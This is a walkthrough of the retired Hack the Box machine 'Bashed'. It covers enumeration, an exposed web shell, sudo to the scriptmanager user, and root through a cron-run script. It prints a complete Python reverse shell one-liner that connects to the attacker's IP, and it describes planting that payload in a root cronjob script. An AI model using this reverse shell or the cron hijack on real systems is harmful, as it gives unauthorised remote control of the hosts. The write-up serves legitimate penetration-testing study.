Hack the Box (HtB) Walkthrough: Bashed

Bashed is a retired "Easy" Linux box on Hack the Box. This box is from the list of Hack the Box systems to beat before taking the OSCP as of 2022 but is no longer applicable to the 2023. Maybe. It utilizes a few tricks that can be frustrating but resemble real-life misconfigurations. I would say it's a straightforward box except for one thing... getting a functional shell requires a lot of patience which makes it quite a bit more complicated. More on that later.

We start the box with a standard nmap enumeration against the target box at 10.10.10.68 from our home IP of 10.10.10.14 using

nmap -Pn -A 10.10.14.9

This shows that we have a web application running on our standard HTTP port on Apache. We already knew it was a Linux box, but now we at least can fingerprint the web host.

Visiting the website shows that the author is advertising their web shell software. Web shells are often used to set up shells on compromised hosts more easily. After installation, you visit the web shell in your browser and input commands. This web shell has some color coding, making things nice and friendly for us.

Seeing that the website author is advertising their web shell, they might have a proof of concept deployed. Let's look for it using dirb.

dirb http://10.10.10.68

We quickly see that the /dev/ directory exists and seems not to have htaccess controls set. We browse to it and ...

Welp, it looks like we have a user shell just by clicking on an installed web shell. Let's start privilege escalation.

We check for easy wins with sudo -l

Doing some standard manual privilege enumeration, we see that there seems to be something interesting going with the scriptmanager user, the /scripts/ folder, and our ability to access them.

We can perform sudo commands as user "scriptmanager" from the www-data user to access the /scripts directory. I noticed this initially whenever trying to see what files were owned by the scriptmanager group. As it turned out, I didn't need a password to access the scriptmanager user, which makes this box much more manageable.

We can tell that there's a test.txt file that's being written to regularly. Performing cat on test.py, we see that it's opening test.txt and writing some test text to it, then closing it.

I tried checking for running cronjobs but didn't have privileges. However, we can assume that's happening, and we can't see it. If you try to run the test.py from the scriptmanager context, you'll note that you're not running the script with permissions to access test.txt, which is owned by root.

At this point, we can conclude the following:

1. We have access to edit scripts as scriptmanager in a restricted directory
2. Test.py is being run by root as a cronjob based on timestamps on test.txt
3. If we can put shellcode into test.py, we can get a root shell

This is where the box got very hard. I tried several shell scripts to get into a standard tty shell to run the su command.

Eventually, I got a shell configured using this as a payload:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.9",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

This lets us move our shell over to a Netcat listener, which sparks joy. We can also upgrade to a tty shell.

And we can switch our user now.

At this point, we can begin investigating the scripts folder. After reading the script and staring at the directory, we know a root cronjob runs test.py every minute or two. I wiped test.py and then replaced it by echoing a reverse shell. I used the same one above, just with a different port number. I tried other reverse shells, but they didn't seem to work. Sorry, PentesterMonkey.

Anyway, you can see my netcat listener here when I connect by running as scriptmanager (first connection), then when I let the cronjob pick it up and run as root (second connection).

When the cronjob runs our script, we get a root shell and can then do whatever we need to do. Hooray!